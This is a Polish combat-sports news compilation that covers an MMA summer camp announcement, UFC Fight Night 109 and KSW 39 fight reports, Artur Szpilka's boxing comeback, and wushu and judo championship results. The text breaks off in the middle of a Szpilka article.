Koszt uczestnictwa w obozie do 30 czerwca wynosi 1350 zł, po tym terminie cena wzrośnie do 1500 zł. W tej kwocie zawiera się zakwaterowanie w domkach letniskowych lub pokojach hotelowych z pełnym węzłem sanitarnym, 3 posiłki dziennie w formie bufetu szwedzkiego, 2-3 treningi każdego dnia oraz ubezpieczenie. Podczas obozu rozegrany zostanie turniej obejmujący kilka konkurencji sprawnościowych, na którego zwycięzców czekają nagrody ufundowane przez sponsorów i partnerów projektu FEN Summer Camp. Dojazd na obóz we własnym zakresie – istnieje możliwość wcześniejszego skontaktowania uczestników, którzy będą jechać z tych samych okolic, w celu wspólnego przyjazdu samochodem.
Więcej informacji oraz zapisy na obóz u koordynatora FEN Summer Camp Igora Kołacina pod nr tel. 574 198 934 lub adresem mailowym i.kolacin@fen-mma.com.
12 maja w klatce FEN w Gdynia Arena nie brakowało emocji: były szybkie nokauty i poddania oraz ciężkie walki do ostatniej sekundy, pewne triumfy faworytów oraz zaskakujące zwycięstwa skazanych na pożarcie… Zapraszamy do obejrzenia oficjalnego filmowego podsumowania gali FEN 17 Baltic Storm!
[kod]
Wszystko układało się po myśli Marcina Helda, ale w trzeciej rundzie Damir Hadzović brutalnie zaskoczył 25-latka. Gala UFC Fight Night 109 w Sztokholmie nie była udana dla Polaków. Drugą porażkę w amerykańskiej organizacji zanotował Damian Stasiak.
„Do trzech razy sztuka” – Marcin Held czekał na pierwsze zwycięstwo w UFC. Nie udało się. Kolejna porażka i pytanie, czy Polak dostanie jeszcze jedną szansę.
Kolano Hadzovicia
Porażka w debiucie z Diego Sanchezem, później wyrównany bój z Joe Lauzonem i kontrowersyjna decyzja sędziów, którzy wskazali na Amerykanina. W starciu z Damirem Hadzoviciem Polak miał się zrehabilitować za wcześniejsze niepowodzenia.
W Sztokholmie wszystko układało się po myśli 25-latka. Bośniak starał się straszyć Polaka kopnięciami, jednak ten szukał parteru. Held zapisał na swoim koncie kilka udanych obaleń. Męczył Hadzovicia, ale ten przetrwał napór rywala. W trzeciej rundzie Held ponownie ruszył po nogi Bośniaka i nadział się na kolano. Padł na deski, sędzia przerwał pojedynek.
Polski fighter zanotował trzecią porażkę w UFC. Nie tak wyobrażał sobie przygodę z amerykańską organizacją. – Jest mi strasznie wstyd. Nie wiem czy to dobre słowo, ale nie umiem znaleźć innego na opisanie tego co czuje. Jest to moja trzecia przegrana w UFC. Nie tak wyobrażaliśmy sobie wszyscy tą drogę, ale taki jest fakt. Poprzednio zostałem niesprawiedliwie potraktowany i otwarcie mówiłem, że tą walkę chce skończyć przed czasem. Ciężko trenowałem, by tym razem nie zawiodła ani kondycja ani technika. Zawiodło… – napisał na swoim fanpage'u Marcin Held. – Bardzo wierzyłem, że tym razem przełamie pecha, że tym razem będzie zwycięstwo. Na pewno zrobię trochę przerwy, potem wrócę i będę zapieprzał. Nie poddam się choćby się waliło i paliło – dodał
Obecnie były pretendent do pasa wagi lekkiej organizacji Bellator przebywa w szpitalu. Tomografia głowy nie wykazała nic groźnego.
Munhoz za mocny
Damian Stasiak wygrał dwie ostatnie walki w UFC przed czasem. W Sztokholmie trafił na mocnego Pedro Munhoza, który większość swoich walk kończył przez poddanie.
Polak nie przestraszył się mocnego rywala. W pierwszej rundzie dochodziło do wyrównanych wymian w stójce. Stasiak cały czas szukał swojej szansy, jednak Brazylijczyk był uważny. Trzecia runda to kolejne rzuty Munhoza. Stasiak bronił się, rywal nie zrobił mu krzywdy, ale w oczach sędziów lepszy był zawodnik z Kraju Kawy.
W walce wieczoru Alexander Gustafsson znokautował w piątej rundzie Glovera Teixeirę.
Fot. Facebook Marcin Held
KM
Gala KSW 39: Colosseum na stadionie PGE Narodowy w Warszawie na długo pozostanie w pamięci kibiców. To przełomowe wydarzenie w historii MMA.
Główni aktorzy KSW 39 dołożyli wszelkich starań, aby dostarczyć widzom wrażeń najwyższych lotów. Gwizdy pożegnały zwycięzcę walki wieczoru Mameda Khalidova, który wygrał decyzją sędziów, jednak publiczność była odmiennego zdania.
Mamed Wielki
Gwiazdor KSW, mistrz wagi średniej kontynuuje fantastyczną passę. Blisko 37-letni fighter wygrał 14 walkę z rzędu. Co warto podkreślić, w KSW nie zanotował żadnej porażki! Na PGE Narodowym przyszło mu rywalizować z mistrzem wagi półśredniej Borysem Mańkowskim. Khalidov starał się unikać parteru, prowadził pojedynek w stójce. Wyprowadził kilka groźnych kopnięć, a Mańkowski starał się go zaskoczyć potężnymi ciosami. Sędziowie wskazali na Khalidova, na co publiczność zareagowała gwizdami. Gwiazdor KSW szybko opuścił arenę walki.
W niedzielę Khalidov zamieścił nagranie na facebooku, w którym podziękował wszystkim za wsparcie. – Chciałem podziękować przede wszystkim tym ludziom, którzy pomagali mi podczas przygotowań. Moim trenerom, klubowi, całemu sztabowi, który składa się z dietetyków, catheringu itd. Tym wszystkim, którzy dołożyli się do przygotowań, chciałem podziękować z całego serca – mówił Mamed Khalidov. – Również chciałem bardzo podziękować moim kibicom, ogólnie kibicom MMA, którzy oglądali galę w telewizji i tym będącym na żywo na stadionie. Dziękuję wam bardzo za wsparcie – dodawał.
Nowi mistrzowie
Szybko z pasem w wadze ciężkiej rozstał się Fernando Rodriguez Jr. Brazylijczyk bez zbędnych kalkulacji ruszył na Marcina Różalskiego. „Różal” zachował zimą krew, zebrał w sobie ponadziemskie siły i wyprowadził dwa potężne sierpowe. Grzmoty spadły na szczękę Brazylijczyka, który po 16 sekundach padł na deski.
Pół roku temu Marcin Wrzosek pokonał Artura Sowińskiego i cieszył się ze zdobycia tytułu w wadze piórkowej. W pierwszej obronie pasa rywalem Polaka był Kleber Koike Erbst. Reprezentant Japonii na wcześniejszych galach KSW pokazał, że potrafi walczyć efektownie. W Warszawie udowodnił swoje wysokie umiejętności parterowe i wygrał na punkty, co dało mu pas.
Pierwszą w historii mistrzynią KSW w kategorii muszej została Ariane Lipski. Pod koniec premierowej odsłony Brazylijka założyła rywalce dźwignię na łokieć. Diana Belbita musiała odklepać.
Bez zmian
Mateusz Gamrot nadal niepokonany. Mistrz wagi lekkiej pokonał na punkty Normana Parke'a. Z kolei Tomasz Narkun po raz trzeci bronił tytułu w kategorii półciężkiej. Ponownie triumfował przed czasem. Zaledwie sekundę przed końcem pierwszej rundy Narkun udusił nogami Marcina Wójcika.
Efektowny debiut
Coraz więcej zawodników decyduje się wykorzystać swoje umiejętności w walkach na zasadach MMA. Choć odnoszą sukcesy w innych dyscyplinach, chcą uczestniczyć w wielkich widowiskach, a zarazem walczyć o najwyższe laury i wysokie gaże. Na PGE Narodowym pierwszą walkę w MMA stoczył Damian Janikowski. Brązowy medalista olimpijski z Londynu w zapasach rozprawił się szybko z Julio Gerardo Gallegosem. Najpierw trafił rywala kolanem, a potem wystrzelił w jego stronę kolejne ciosy. Następnie Janikowski efektownie cieszył się ze zwycięstwa.
Nie rozbił arbuza
Przed KSW 39 Robert Burneika porównywał głowę Popka do arbuza i zapowiadał, że ją rozbije. Obaj mieli stworzyć show. Nikt nie spodziewał się wielkiego sportowego widowiska, lecz prawdziwej wojny i niezliczonej liczby ciosów. Trafień nie było zbyt wiele. Popek Monster przyłożył raz a porządnie, po czym Burneika upadł. Raper nie zmarnował okazji i odniósł pierwsze zwycięstwo w KSW.
Udany powrót
Z KSW związany od zawsze, jednak ostatnio jako komentator. Tym razem Łukasz Jurkowski zaprezentował się w klatce. Po sześciu latach „Juras” ponownie zaprezentował się na gali KSW. Rywalem 36-latka był doskonale znany polskiego publiczności Rameau Thierry Sokoudjou. Mający za sobą występy w Pride, UFC i Bellatorze zawodnik stoczył swoją czwartą walkę w KSW. Sokoudjou zanotował trzecią porażkę. W trakcie pojedynku zranił „Jurasa”, który zaczął krwawić, jednak Jurkowski nie poddał się. Cały czas był aktywny, co docenili sędziowie, którzy niejednogłośnie wskazali na Polaka.
W pojedynku byłych strongmanów triumfował Mariusz Pudzianowski. Ostra wymiana ciosów zakończyła się w drugiej rundzie. Tyberiusz Kowalczyk padł na matę, a „Pudzian” trafił rywala łokciem, po czym ten odklepał.
Nieco ponad minutę na zwycięstwo potrzebował Michał Andryszak. Słynący z efektownych walk zawodnik w pierwszej rundzie wygrał przez gilotynę z Michałem Kitą.
Na pierwszym planie
Polska uwiedziona MMA, Europa zaszokowana, Martin Lewandowski i Maciej Kawulski triumfują. Ich produkt trafił w gusta odbiorców. Na PGE Narodowym zasiadło ponad 56 tysięcy widzów.
Nie raz na stadionach piłkarskich organizowano wielkie gale bokserskie. Nie trzeba daleko szukać – kwietniowa rywalizacja o panowanie w wadze ciężkiej pomiędzy Anthonym Joshuą a Władimirem Kliczko. MMA bez pardonu weszło na salony. Widzowie potrzebują efektownych walk, potężnych ciosów, zwrotów akcji i ogromnej dramaturgii. Właściciele KSW doskonale to rozumieją, dlatego też starają się dostarczyć kibicom tego, czego ci oczekują.
KSW 39: Colosseum to sukces i przełamanie kolejnych barier. Jednak teraz wszyscy będą mieli w pamięci majowe wydarzenie. Nie zabraknie porównań kolejnych gal do KSW 39. Lewandowski i Kawulski będą musieli wspiąć się na wyżyny, aby dostarczyć rozrywki najwyższych lotów i usatysfakcjonować publikę. Było Wembley, był PGE Narodowy, co dalej? Zapewne ciąg dalszy nastąpi.
KM
Przed Marcinem Heldem trzecia walka w UFC. 28 maja na gali w Sztokholmie rywalem 25-latka będzie Damir Hadzovic. W stolicy Szwecji zaprezentuje się również Damian Stasiak.
Zupełnie inaczej miała wyglądać przygoda Marcina Helda z najlepszą organizacją MMA na świecie. Po dwóch porażkach sytuacja polskiego zawodnika wagi lekkiej nie wygląda kolorowo.
Liczy się zwycięstwo
Marcin Held to ogromny talent i wielka nadzieja polskiego MMA. Zawojował Bellatora, w którym dostąpił zaszczytu rywalizacji o mistrzostwo wagi lekkiej. Przegrał ze starym lisem Willem Brooksem, ale zaprezentował się z dobrej strony. Już wcześniej mówiło się, że Polak wyląduje w UFC. Rok po walce z Brooksem tak się stało.
Jednak początki Helda w UFC nie należą do najlepszych. W pierwszej walce przegrał z Diego Sanchezem, ale w takich sytuacjach mówi się „pierwsze koty za płoty”. W styczniu w Phoenix Polak zmierzył się z Joe Lauzonem. Sędziowie niejednogłośnie wskazali na rywala, co wywołało spore kontrowersje. Przez większość pojedynku Held kontrolował sytuację, dobrze prezentował się w stójce, a w drugiej rundzie zaliczył kilka obaleń. Jeden sędzia punktował trzy rundy na korzyść Polaka, nawet sam Lauzon przyznał, że zwycięstwo należy się byłemu pretendentowi do tytułu mistrzowskiego Bellatora. Stało się inaczej. Nie ma, co płakać, lecz trzeba szykować się na Hadzovicia.
30-letni Bośniak stawia pierwsze kroki w UFC. W kwietniu przegrał przez nokaut w pierwszej rundzie z Mairbekiem Taisumovem. Wcześniej zanotował sześć zwycięstw na galach takich organizacji jak WKN czy CWFC. Co ciekawe, ponad pięć lat temu Hadzovic przegrał walkę z Krzysztofem Jotko. Czy Held pójdzie w ślady rodaka? Oby. – Przygotowania do mojej kolejnej walki przebiegły bardzo dobrze. Tak jak obiecywałem – przygotowywałem się najlepiej jak potrafiłem. Zrobiłem wszystko co mogłem by być w świetnej formie. Mam nadzieje, że tym razem wszystko pójdzie po mojej myśli. W te ostatnie dni do walki zostały już tylko luźne treningi, zrzucanie wagi i odpoczynek – poinformował Marcin Held za pośrednictwem facebooka.
Walka Polaka z Hadzoviciem otworzy galę UFC Fight Night 109, która odbędzie się 28 maja w Sztokholmie.
Po trzecie zwycięstwo
W stolicy Szwecji zaprezentuje się również Damian Stasiak. Zawodnik wagi koguciej stoczy swoją czwartą walkę w UFC. Dotychczas zanotował dwa zwycięstwa, ale o trzecie może być bardzo trudno. W Sztokholmie Polak zmierzy się z Pedro Munhozem, który jest niezwykle niebezpieczny. Aż 8 z 13 walk wygrał przez poddanie. W ubiegłym roku na galach UFC rozłożył na łopatki Justina Scogginsa i Russella Doane'a.
Na gali UFC Fight Night 109 zaprezentuje się urodzony w Zabrzu Petter Sobotta. Rywalem 30-latka będzie Ben Saunders. W walce wieczoru wystąpią: Alexander Gustafsson i Glover Teixeira.
KM
KSW wyprowadza potężny cios, po którym wszyscy znajdą się w siódmym niebie. Federacja Martina Lewandowskiego i Macieja Kawulskiego chce stworzyć ponadepokowe widowisko. Taka ma być właśnie gala KSW 39: Colosseum, która odbędzie się już w sobotę (27 maja) na stadionie PGE Narodowy w Warszawie.
Plejada gwiazd, czołowi polscy zawodnicy i pięć walk o pasy mistrzowskie federacji KSW. A wszystko w warszawskim Colosseum. Wspaniała podróż w czasy gladiatorów. „Chcecie igrzysk, to macie” – zdaje się mówić KSW.
Gladiatorzy w akcji
Otoczka wydarzenia jest imponująca. Wszystko wydaje się dopracowane i przemyślane. Zawodnicy stylizowani na gladiatorów, gorąca atmosfera, tworzenie aury wyjątkowości. Wiadomo już, że gala KSW 39 pobije rekord świata frekwencji na zawodach MMA. Polska organizacja sprzedała ponad 56 tysięcy wejściówek na sobotnie wydarzenie.
Martin Lewandowski i Maciej Kawulski nie kalkulują. Postanowili, że w Warszawie wystawią najcięższe działa. W walce wieczoru zaprezentują się mistrzowie wagi średniej i półśredniej, czyli Mamed Kahlidov i Borys Mańkowski. 36-latek urodzony w Groznym nie przegrał od czternastu walk, a łącznie ma na koncie 33 zwycięstwa. Dla wielu jest żywą legendą KSW. Czy w Warszawie przekaże pierwszeństwo Mańkowskiemu? Z roku na rok „Diabeł Tasmański” robi postępy i ciągle gna do przodu. Całkowicie zdominował wagę półśrednią i trzy razy skutecznie bronił mistrzowskiego pasa. Czy udźwignie ciężar rywalizacji w Warszawie? Wydaje się, że dla Mańkowskiego to ogromna szansa, a zarazem presja. Może stać się numerem 1 KSW. Khalidov zrobił już na tyle dużo, że jego pozycja nie jest zagrożona. Dodatkowo kończy mu się kontrakt z KSW i nie wiadomo, jakie decyzje podejmie sam zawodnik.
Na stadionie PGE Narodowy dojdzie do pięciu pojedynków mistrzowskich. Po raz pierwszy tytułu w wadze ciężkiej będzie bronił Fernando Rodrigues Jr., który pas wywalczył w grudniu 2016 roku pokonując Karola Bedorfa. Jego rywalem będzie charyzmatyczny i waleczny Marcin Różalski. Do trzeciej obrony pasa wagi półciężkiej stanie Tomasz Narkun. 27-latek zmierzy się z Marcinem Wójcikiem, z którym nie ma przyjacielskich relacji. Mateusz Gamrot idzie jak burza i należy do najlepszych zawodników KSW. Rok temu świętował zdobycie pasa w wadze lekkiej w Trójmieście. W Warszawie dobrą passę Polaka postara się przerwać Norman Parke, który ma za sobą występy w UFC. Pierwszy raz tytułu mistrzowskiego w wadze piórkowej będzie bronił Marcin Wrzosek. Polak stanie przed trudnym zadaniem. Kleber Koike Erbst pokazał, że potrafi być zabójczo skuteczny. W Warszawie na szali pojawi się pas KSW w wadze muszej kobiet. Walka będzie historyczna, bo zwyciężczyni zostanie pierwszą mistrzynią. W pojedynku o pas zmierzą się Ariane Lipski i Diana Belbita.
Na stadionie PGE Narodowym debiut w MMA zaliczył brązowy medalista olimpijski w zapasach z Londynu Damian Janikowski. Po ponad sześciu latach do rywalizacji wraca Łukasz Jurkowski.
Rywalem „Jurasa” będzie doskonale znany polskiej publiczności Rameau Thierry Sokoudjou. Ciekawie zapowiada się konfrontacja dwóch potworów, czyli Popka Monstera i Roberta Burneiki. W Warszawie spotkają się również byli strongmani. Większym doświadczeniem w MMA legitymuje się Mariusz Pudzianowski, ale Tyberiusz Kowalczyk nie ma zamiaru odpuszczać.
Nowy rozdział historii
KSW przeszła ogromną przemianę i pisze historię polskiego MMA. Można powiedzieć, że organizacja wprowadza kibiców na ponadgalaktyczny poziom widowiska sportowego. Jednak zawsze z tyłu głowy pojawia się myślę, że „z wielkiej chmury mały deszcz”. Jak będzie? O tym przekonamy się 27 maja.
Warto podkreślić, że przez trzynaście lat KSW zrobiło swego rodzaju krok cywilizacyjny. W 2004 roku organizacja zaczynała działalność i pierwszą galę przygotowała w warszawskiej restauracji Champions. Przez kolejne lata podbijała kolejne polskie miasta i trafiła na usta kibiców sportów walki, aż dotarła do świadomości całego społeczeństwa.
KM
Można powiedzieć, że w końcu Artur Szpilka stoczy swoją 23 walkę w karierze. Pięściarz urodzony w Wieliczce czeka na pojedynek już blisko półtora roku. 15 lipca na gali Premier Boxing Champions na Ling Island „Szpila” zmierzy się z Adamem Kownackim.
Szpilka zdążył już zatęsknić za boksem. Ciężko trenował, bo w planach miał walkę z Dominikiem Breazeale'm, jednak los nie sprzyjał Polakowi.
Wygrać z Kownackim
Ostatni raz Szpilka rywalizował 16 stycznia 2016 roku w Barclays Center. W dziewiątej rundzie Deontay Wilder posłał go na deski i obronił pas WBC. Półtoraroczna przerwa nie posłużyła Szpilce, który znalazł się poza rankingami znaczących organizacji. W lutym miał walczyć z Breazeale'm, jednak pojedynek odwołano. Wśród potencjalnych rywali Szpilki wymieniano Krzysztofa Zimnocha i Adama Kownackiego. Z tym ostatnim był nawet „po słowie”, jednak walczący w Stanach Zjednoczonych bokser w ostatniej chwili wycofał się z powodu kłopotów zdrowotnych. Ostatnio temat starcia „Szpili” z Kownackim wrócił jak bumerang. Były pretendent do pasa WBC w wadze ciężkiej podchodził sceptycznie do tej możliwości. Pisaliśmy o tym tu.
Sprawa potoczyła się błyskawicznie. Wszystko jest już dopięte na ostatni guzik. 15 lipca Szpilka zmierzy się z Kownackim. – Cieszę się bardzo. Długo to wszystko trwało, ale najważniejsze było dla mnie, żeby mi zagwarantowali w kontrakcie, że nie daj Boże Adama rozboli ząbek kolejny raz, to będę miał walkę z kimś innym na tej samej gali. Jestem w ciężkim treningu rok czasu. Dwie walki przełożone. Z tej nieaktywności wypadłem z rankingów. Także żaden z zawodników z czołówki nie chce ze mną walczyć, bo jest to dla niego walka ryzykowna. Breazeale chciał walczyć przed walką z Izu, ale potem poszedł w rankingach w górę i czeka na swój złoty strzał – powiedział Artur Szpilka.
Dla „Szpili” liczy się tylko zwycięstwo. Porażka bardzo mogłaby skomplikować jego sytuację. – Liczyłem na kogoś mocniejszego, aczkolwiek doceniam Adama. Wiem, że będzie to dla niego szansa. Zrobi, co może, ale tak jak mówię – ma pecha pecha, bo staje do zawodnika, który troszkę już tego boksu łyknął. Druga rzecz, dla mnie ta walka jest „o być albo nie być” – tłumaczy bokser.
Najważniejszy pojedynek
W przypadku 28-letniego Kownackiego, walka ze Szpilką będzie najważniejszym wydarzeniem w jego karierze. Urodzony w Łomży pięściarz wygrał wszystkie 15 walk, ale nie może pochwalić się większymi sukcesami. Zwycięstwo ze Szpilką mogłoby otworzyć przed Kownackim nowe możliwości.
KM
Monika Steckiewicz i Anna Kubiak mogą pochwalić się złotymi medalami czwartych mistrzostw Europy kung-fu wushu. Reprezentacja Polski wywalczyła łącznie 13 krążków. Prym w stolicy Gruzji wiedli Rosjanie, którzy zapisali na swoim koncie 358 medali.
Polska zajęła szóste miejsce w klasyfikacji końcowej na 26 startujących w imprezie reprezentacji. Wynik ten należy uznać za sukces naszej kadry i dobry prognostyk przed kolejnymi zawodami.
Smak złota
Dla każdego zawodnika, niezależnie od dyscypliny, którą uprawia – marzeniem jest wywalczenie mistrzostwa i wspięcie się na najwyższy stopień podium. W Tbilisi ta sztuka dwukrotnie udała się Monice Steckiewicz, która okazała się najlepsza w yang TJQ i chen TJQ. Do tego dołożyła jeszcze srebro. Również trzema medalami może pochwalić się Anna Kubiak. 24-letnia zawodniczka wywalczyła krążek każdego koloru. Ze złota cieszy się również Kacper Sumiński. Na podium mistrzostw Europy stawali również: Marian Olech (dwa brązowe medale), Ewa Solarz, Katarzyna Olczak i Mateusz Ciałowicz (wszyscy brąz).
Po raz kolejny ponadprzeciętne umiejętności potwierdziła Anna Kubiak. 24-latka jest niezwykle pracowita, zawsze skupiona, niemalże perfekcyjna. Ponad pół roku temu w Pruszkowie podczas mistrzostw świata taijquan zdobyła trzy medale w konkurencjach sportowych (srebro i dwa brązowe). W Tbilisi pokazała, że nie ma zamiaru zwalniać tempa. – Z czystym sumieniem mogę powiedzieć, ze jestem bardzo zadowolona ze swoich startów. Dałam z siebie 150 proc., co zaowocowało dobrymi notami i miejscami medalowymi. Cała kadra taijiquan była przygotowana na starty dzięki konsultacjom organizowanym przez Polski Związek Wushu, które odbywały się w Warszawie i zrobiła kawał dobrej roboty. Zawody rangi mistrzostw Europy to już wyższa poprzeczka, poziom z roku na rok jest coraz lepszy. Co ciekawe, Polska również plasuje się coraz wyżej w klasyfikacji drużynowej – na tych zawodach byliśmy 6. na 26 krajów, które wzięły udział w tym wydarzeniu. Oczywiście licząc wspólne wyniki całej drużyny razem z formami tradycyjnymi i Qingdą – przedstawia Anna Kubiak.
Podczas każdej imprezy zawodnicy narażeni są na różne problemy. Polacy mogli skupić się, tylko i wyłącznie na startach dzięki wsparciu trenera Michała Ignatowicza. – Nasz team mógł się porządnie skupić na startach, z racji tego, że byliśmy pod dobrą opieką trenera kadry, Michała Ignatowicza, wiec nie odczuliśmy, np. problemów z transportem na halę czy posiłkami – podkreśla trzykrotna medalistka mistrzostw Europy w Tbilisi.
Gonimy Azjatów?
W klasyfikacji medalowej mistrzostw Europy znaleźliśmy się za Rosją, Turcją, Ukrainą, Grecją i Gruzją. Na Starym Kontynencie nie jesteśmy tłem dla rywali. A jak prezentujemy się względem krajów azjatyckich, które dominują w wushu? – Można powiedzieć, ze Azjaci, głównie Chiny, w domyśle uważa się za śmietankę światowego wushu. Ten sport jednak jest dość specyficzny i obejmuje mnóstwo stylów i kategorii. W niektórych, tych sportowych, z tzw. nandu – czyli elementami akrobatycznymi o wyższej trudności, wiodą prym Chińczycy, którzy mają do dyspozycji odpowiednie do treningu warunki np. specjalne dywany czy odpowiedni system szkolenia. Również, w krajach typu Chiny, Wietnam i Japonia wushu jest mocno finansowane ze środków państwowych, co można porównać do sportów olimpijskich w innych częściach świata. Natomiast w obrębie form tradycyjnych, które wymagają trochę odmiennego podejścia do treningu, Europa i reszta świata jak najbardziej może z nimi konkurować na wysokim poziomie, choć należałoby tu porównać wyniki z tradycyjnych mistrzostw świata, a nie Europy – odpowiada Kubiak.
Fot. Facebook Michał Ignatowicz
KM
Do Bielska-Białej zjechało blisko 500 judoków, którzy rywalizowali w Pucharze Europy kadetów. Polacy zakończyli zmagania z dorobkiem trzech medali. Najlepsi okazali się Rosjanie, którzy aż 13-krotnie stawali na podium.
Judocy ponownie opanowali Bielsko. Rok temu Polacy wywalczyli dwa medale za sprawą srebrnych Elizy Wróblewskiej (63kg) i Julii Świątkiewicz (+70kg). W czołówce byli Azerzy, Węgrzy i Japończycy.
Dwie panie i pan
Płeć piękna wiedzie prym i rozdaje karty. O tym, że kobieta ma charakter i potrafi pokazać „pazurki” żadnego mężczyzny, a tym bardziej żonatego nie trzeba przekonywać. Na tatami ta zadziorność też się przydaje. 15-letnia Alicja Gowarzewska (40kg) zbiera doświadczenie, a na własnej ziemi miała okazję poznać smak medalu. Ponad dwa miesiące temu Polka z dobrej strony pokazała się w Zagrzebiu, gdzie wywalczyła siódme miejsce. Później były starty w Teplicach i Berlinie. Start w Bielsku-Białej to doskonała postawa Gowarzewskiej, która pewnie wygrała dwie walki i w półfinale poległa z Silvią Gherman z Rumunii. W starciu o brąz 15-latka pokonała Francuzkę Diane Inguimbert.
W pełni szczęśliwa może być Aleksandra Gaj (+70kg), która osiągnęła najlepszych wynik w dotychczasowych startach. Zawodniczka Czarnych Bytom sięgnęła po brąz. Start w Bielsku dla 16-letniej judoczki był niezwykle wyczerpujący. Polka stoczyła aż sześć walk. Dwa pierwszy pojedynki rozstrzygnęła przed czasem. W trzeciej walce odprawiła ją Węgierka Petra Farago. Gaj walczyła dalej, przebrnęła przez repasaże, gdzie wygrała m.in. z Julią Księżyk. W starciu o brąz kolejna bitwa polsko-polska. Gaj okazała się lepsza od Kingi Wolszczak.
Trzecim polskim medalistką Pucharu Europy kadetów został Adam Stodolski (73kg). Judoka Leśnika Kaczory prezentuje w tym roku wysoką formę. W marcu zajął siódme miejsce w Zagrzebiu, a w kwietniu triumfował w Teplicach. Stodolski wygrał cztery z pięciu walk i stanął na najniższym stopniu podium zawodów w Bielsku.
O krok od podium były: Marta Kuras (48kg), Michalina Skipala (63kg) oraz Kinga Wolszczak (+90kg), które zajęły piąte miejsca. Na siódmych lokatach uplasowali się: Natalia Stokłosa (40kg), Nikola Szlachta (44kg), Julia Księżyk (+70kg), Hubert Pieczyński (50kg), Jakub Sokół (90kg).
Gruzini deptali po piętach
Wśród mężczyzn cztery medale zdobyli Gruzini, czyli o jeden więcej niż Rosjanie. Czwarte złoto dla Sbornej dołożyła Mariam Amkhadova. Rosjanie zdobyli łącznie 13 medali, a Gruzini o dwa mniej.
Również cztery złota na swoim koncie zapisała Japonia, a to za sprawą pań. Na najwyższym stopniu podium stawały: Aiko Watanabe (48kg), Ayano Yuki (63kg), Rizu Matsumto (70kg) i Akiho Yonekawa (+70kg).
Polska w klasyfikacji medalowej zajęła 12. miejsce.
KM
Mamy już dwie Polki w UFC. Joanna Jędrzejczyk jest mistrzynią wagi słomkowej, a Karolina Kowalkiewicz czołową zawodniczką tejże kategorii. O występach w najlepszej organizacji MMA na świecie może powoli myśleć Agnieszka Niedźwiedź. 22-latka zaliczyła kolejny świetny występ.
Popularna „Kuma” krok po kroku buduje swoją pozycję MMA. W kolejnych występach potwierdza swój talent i pokazuje ogromne możliwości.
Niepokonana
Agnieszka Niedźwiedź jest młoda, spragniona kolejnych zwycięstw i niezwykle skuteczna. W sobotę (20 maja) zaprezentowała się na gali Invicta FC 23 w Kansas City, gdzie zanotowała dziesiątą wygraną w karierze. Jej rywalką była starsza o 11 lat Vanessa Porto. Brazylijka przygodę z MMA zaczynała w 2005 roku, gdy Niedźwiedź siedziała w szkolnej ławce. Porto ma bogate doświadczenie, stoczyła ponad 20 walk. Ponad dziesięć lat temu przegrała z gwiazdą kobiecego MMA Cristiane Justino. Brazylijka ma na rozkładzie m.in. obecną mistrzynię UFC w wadze piórkowej Germaine de Randamie czy Hitomi Akano. Od blisko pięciu lat Porto występuje na galach organizacji Invicta. W tym czasie stoczyła sześć walk, z których cztery wygrała.
Starcie z Niedźwiedź miało być dla Brazylijki siódmym występem w organizacji Invicta. i szansą na rehabilitację po porażce w marcu ubiegłego roku z Jennifer Maią. Z kolei 22-letnia Polka poznała już smak rywalizacji na galach Invicta. W lipcu ubiegłego roku, po pięciu rundach, pokonała Christine Stanley. Ostatnio Niedźwiedź wystąpiła na grudniowej gali Ladies Fight Night 4. Polka zdominowała w parterze Brazylijkę Samarę Santhos Cunhę i wygrała przed czasem.
W Kansas City Niedźwiedź musiała się mieć na baczności, gdyż nawet najmniejszy błąd mógł skończyć się tragicznie. Mimo młodego wieku, Polka walczyła bardzo dojrzale. Porto chciała sprowadzić walkę do parteru i tam budować swoją przewagę. Bezskutecznie. Za to 22-letnia Niedźwiedź zaliczyła dwa obalenia w pierwszej rundzie. Kolejną odsłonę Polka rozpoczęła od wysokiego kopnięcia. Porto starała zaprezentować się w parterze swoje atuty, ale końcówka należała do Niedźwiedź. 22-latka próbował poddać Brazylijkę, jednak nie dała zapiąć sobie duszenia trójkątnego, a później balachy. Trzecia odsłona to dobra postawa Porto. Brazylijka odczytywała zamiary Polki i nie dawała się obalić. Zadała również więcej ciosów, ale to było za mało w przekroju całej walki. Sędziowie byli jednomyślni. Wszyscy punktowali 29:28 dla Agnieszki Niedźwiedź.
Czas na UFC?
Dla wielu zawodniczek rywalizacja w organizacji Invicta to swego rodzaju „przedpokój” do UFC. Dwie wygrane Agnieszki Niedźwiedź w kobiecej federacji to spory kapitał. Polka jest młoda i na pewno znajdzie się pod lupą UFC. Wygrana z Porto pozwoli jej awansować w kategorii muszej. Wielki świat stoi przed nią otworem. Pytanie, kiedy kolejna Polka zawita do UFC? Czekamy na odpowiedź.
Fot. sherdog.com
KM
Wszyscy czekają na powrót do ringowej rywalizacji Artura Szpilki. Z ostatnich doniesień wynika, że jego najbliższym rywalem może być Adam Kownacki.
Temat tej walki to nie pierwszyzna. O pojedynku mówiło się już kilka miesięcy temu, jednak ostatecznie do starcia nie doszło. Czy tym razem Szpilka i Kownacki skrzyżują rękawice?
Kolejne przymiarki
Nieobecność Artur Szpilki na bokserskich salonach martwi kibiców. Chcieliby zobaczyć w akcji czołowego boksera wagi ciężkiej, który obecnie mieszka w Teksasie. Amerykańska przygoda miała być spełnieniem marzeń dla 25-letniego „Szpili”, ale ten od blisko półtora roku nie stoczył żadnej walki. Ostatni raz fani trzymali za niego kciuki 16 stycznia 2016 roku w Barclays Center podczas pojedynku z Deontayem Wilderem. Szpilka dostał szansę na walkę o pas WBC i w ringu prezentował się dobrze, był uważny, jednak w dziewiątej rundzie bomba Amerykanina zwaliła go z nóg. Później Polak przeszedł operację kontuzjowanej ręki i dochodził do siebie.
W lutym Szpilka miał zameldować się w Birmingham, aby zmierzyć się z Dominikiem Breazealem. Temat jednak ostatecznie upadł. Wszystko było dogadane, ale Breazeale zmierzył się z Izuagbe Ugonohem. „Szpila” nie ukrywał rozczarowania.
Potem na afiszu pojawił się temat walki Szpilki z Adamem Kownackim. Termin: 29 kwietnia na gali w stanie Nowy Jork. Mieszkający w Stanach Zjednoczonych bokser wyzwał „Szpilę”, ale później sprawa przycichła. W marcu nadzieje na pojedynek odżyły, jednak do gali było coraz mniej czasu. Wszystko rozeszło się po kościach. Powodem rezygnacji Kownackiego był chory ząb. Ale „co się odwlecze, to nie uciecze”. Od kilku dni ponownie mówi się o starciu Szpilki z Kownackim. Walka miałaby się odbyć 15 lipca w New York City.
Szpilka nie chce walki?
